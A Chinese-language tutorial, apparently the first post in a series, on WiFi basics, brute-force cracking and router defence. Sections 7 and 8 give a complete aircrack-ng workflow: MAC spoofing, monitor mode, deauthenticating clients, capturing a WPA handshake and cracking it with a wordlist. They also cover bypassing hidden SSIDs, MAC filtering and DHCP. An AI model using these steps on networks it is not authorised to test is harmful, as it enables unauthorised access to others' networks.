wifi破解和安全(1)暴力破解
1.wifi是什么
WiFi是Wireless Fidelity(无线高保真)是一种商业认证, 符合IEEE 802.11无线网络规范,是一种WLAN标准, 很多时候都把Wi-Fi等同于WLAN理解。 WLAN是Wireless LAN(无线局域网),基于IP的的通信,采用2.4GHz或5.8GHz无线频段(ISM频段)传输, IEEE在WLAN方面的工作只定义了二层以下的协议, 目前主要集中在安全性、AP之间的信令、频谱扩展等方面。
wifi版本
最新的 802.11 ax 标准也将定义为 WiFi6,之前的 802.11 a/b/g/n/ac 依次追加为 WiFi1/2/3/4/5。 正在使用最广泛是wifi4也就是802.11n标准,最大600Mb/s,wifi6最大11G/s。 本系列内容也是基于wifi4来学习的。
2.802.11系列协议
802.11系列标准,IEEE制定的一个无线局域网标准, 主要用于解决局域网中,用户与用户终端的无线接入。
定义了基于端口的网络接入控制协议, 该协议适用于接入设备与接入端口间点到点的连接方式, 其中端口可以是物理端口,也可以是逻辑端口。 是用于用户接入认证的,认证通过则端口对用户开启。
802.11协议定义了无线局域网的物理层以及MAC层标准, 定义了物理层数据的传输方式,在MAC层采用了类似于有线以太网的CSMA/CA协议。
802.11协议定义了WLAN物理层以及MAC层的协议标准
物理层由三部分组成: 物理层管理层、 物理层会聚协议(PLCP) 和物理介质依赖子层(PMD)。 数据链路层由两部分组成: 逻辑连接控制子层(LLC)、媒体访问控制子层(MAC)。 802.11 MAC层负责客户端与AP之间的通讯。 主要功能包括:扫描、接入、认证、加密、漫游和同步。
数据从链路层向物理层传递:
MSDU(MAC service Data Unit),指的就是网络层发来的包。
然后加以MAC层的包头就构成一个MPDU,
再加PHY层的包头以及前导码构成PPDU。
小结:
简单来说wifi是802.11标准实现,
只在七层网络协议中的物理层和链路层,
并且只是链子层的mac层(媒体访问控制层)。
物理层是对信号进行收发,
链路层对物理层访问获取,数据分组,错误检测。
3.ap client bss bssid ssid 关系
一个ap(access point)和一个client(STA)组成最小的bss(basic service set), 有个bssid表识(MAC地址),扫描时有个ssid名称(wifi名称)。 同一个ssid下,可以有不同的ap,不同ap有不同信道和不同bssid。
4.Windows查看网卡扫描到的wifi
netsh wlan show networks //扫描到的wifi列表不显示mac地址 netsh wlan show networks mode=bssid //扫描到的wifi列表:名称和mac地址,加密方式,无线标准,信道 netsh wlan show interfaces //当前正连接中wifi信息。 netsh wlan show profiles //显示连接过的wifi名称。 netsh wlan show profile name=wifi名称 key=clear //显示具体某个wifi详细信息。
5.windows查看网络连接:
ipconfig /all //显示详细信息 ipconfig //显示关键信息
6.kali适配的网卡
https://www.aircrack-ng.org/doku.php?id=compatibility_drivers
https://www.wirelesshack.org/best-kali-linux-compatible-usb-adapter-dongles.html
7.暴力破解
测试环境:kali系统和支持监听模式无线网卡 通过抓取握手包对握手包暴力破解。 ifconfig //查看网络接口 sudo macchanger -m 10:11:22:33:44:55 wlan0 //修改网卡mac sudo airmon-ng start wlan0 //将网卡wlan0开启监听模式 sudo airodump-ng wlan0mon //扫描整个wifi网络 sudo airodump-ng -c 信道 --bssid mac地址 wlan0mon //查看指定mac地址的wifi,主要看正连接的客户端 //抓取握手包 sudo airodump-ng -c 信道--bssid mac地址 -w 握手包文件名称 wlan0mon //断开连接中客户端,以便抓握手包 sudo aireplay-ng --deauth 9 -a wifi的mac -c 连接中的mac wlan0mon aircrack-ng -w /usr/字典密码.txt /home/握手包.cap //暴力破解
8.绕过一些限制的思路
1.获取隐藏ssid:必须有正在连接的客户端才能扫描到名字。 工具:common view for wifi /kali 2.绕过mac过滤:查看网络中正在连接的mac,然后修改自己的mac。 工具:common view for wifi/kali 3.绕过dhcp两种方式: 1)首先自定义ip连入网络,然后wireshark流量扫描猜测出ip范围,然后网段扫描ip和端口。 工具:scanport确认网关(网关一般是开通80端口) 2)可以通过流量分析找到wifi的mac地址得到网关ip。 工具:wireshark
9.wifi防御:
1.路由不用默认密码,wifi密码复杂,mac过滤,wpa2(aes)加密方式,ssid不广播 2.只允许特定mac访问管理路由(位置:家长控制) 3.关闭dhcp(不分配ip) 4.关闭wps(ping) 5.关闭upnp即插即用协议(位置:转发规则) 6.关闭wds(中继/桥接功能,位置:基本设置),专门设置桥接可让wifi路由来连接(类似再开一个热点) 7.开启防ddos功能 8.开启ap隔离(局域网用户隔离不能互相通信) 9.增强认证:802.1x或web认证类似校园网/cmcc/chinanet